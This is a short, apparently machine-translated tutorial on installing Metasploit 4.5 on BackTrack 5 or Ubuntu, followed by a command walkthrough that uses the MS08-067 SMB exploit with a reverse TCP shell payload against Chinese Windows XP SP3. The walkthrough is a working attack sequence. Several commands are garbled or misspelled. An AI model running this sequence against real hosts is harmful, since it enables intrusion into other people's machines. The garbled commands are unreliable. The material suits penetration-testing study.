BT5 and Ubuntu Install the latest version of the Metasploit4.5 method: (The old version of the MSF uninstall,bt5 to bring the old version of Metasploit no way to upgrade! )
1. Download the Linux installation package under Metasploit and copy it to the Ubunto/opt directory.
http://www.metasploit.com/download/
2. Run the command "chmod +x/opt/metasploit-latest-linux-installer.run" under terminal
3, run the command "Sudo/opt/metasploit-latest-linux-installer.run" under Terminal, select the installation directory to install.
4, upgrade Metasploit to the latest version, run the command msfupdate
"Sudo svn update/opt/metasploit-4.5.0/apps/pro/msf3"
5, Msfconsole//Startup program
6, msfupate//Vulnerability Library upgrade
7, ms08_67 overflow demo: for Chinese xp+sp3
Example:
./msfconsole
Msf> Search Ms0
Msf> Use Windows/smb/ms08_067_netapi
Set PAYLOAD windows/shell/reverse_tcp
set TARGET 41//Chinese xp+ SP3 type
SETG lport 5555
Exploit-z #可以用如果此处未使用-Z parameter, can later press Ctrl-z to go backstage, session does not exit
sessions-u 2 #升级shell, the SETG must be set in front of the
sessions-i 2//Switch to Session 2
save//Save Settings ?